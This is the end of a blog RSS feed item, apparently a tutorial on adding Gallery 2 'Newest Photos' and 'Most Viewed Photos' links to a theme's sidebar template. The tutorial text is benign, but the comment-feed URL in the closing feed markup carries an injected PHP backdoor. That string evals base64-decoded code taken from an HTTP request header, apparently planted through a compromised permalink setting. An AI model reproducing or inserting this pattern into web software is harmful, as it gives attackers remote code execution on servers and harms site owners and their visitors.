<p><strong>Replace <span style="color: #000080;">/updates</span> and <span style="color: #000080;">/popular</span> with the links you previously copied for each. </strong></p>
<p><strong>Save the file</strong> to your theme/YOURTHEME/template/local directory, overwriting the previous file. Voila, done.</p>
<p>Just remember that you&#8217;ll probably have to to do a hard refresh on your browser (eg. CTRL F5) to make sure it downloads the new sidebar.tpl file.</p>
<p>For my site, the finished code snippet would look like this:<br />
<textarea cols="65" rows="4" readonly="readonly">&lt;li&gt;&lt;a href=&#8221;http://candicimo.com/foto/main.php?g2_view=dynamicalbum.UpdatesAlbum&#8221;&gt;&lt;strong&gt;Newest Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#8221;http://candicimo.com/foto/main.php?g2_view=dynamicalbum.PopularAlbum&#8221;&gt;&lt;strong&gt;Most Viewed Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;</textarea></p>
<p>For your&#8217;s, it should look like this:<br />
<textarea cols="65" rows="4" readonly="readonly">&lt;li&gt;&lt;a href=&#8221;http://yoursite/yourgallerydirectory/main.php?g2_view=dynamicalbum.UpdatesAlbum&#8221;&gt;&lt;strong&gt;Newest Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&#8221;http://yoursite/yourgallerydirectory/main.php?g2_view=dynamicalbum.PopularAlbum&#8221;&gt;&lt;strong&gt;Most Viewed Photos&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;</textarea></p>
<p>I used the full path of my site and your&#8217;s above (e.g. by including the http://blah blah blah.com/blah/etc). Could you shorten it? Maybe, but I fiddled with it for about 2 minutes and couldn&#8217;t get it to work, so my instructions are to just use the full path because I know it works.</p>
]]></content:encoded>
			<wfw:commentRss>http://candicimo.com/dev/2009/06/09/gallery-2-bypass-url-rewrite-for-updatespopular/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
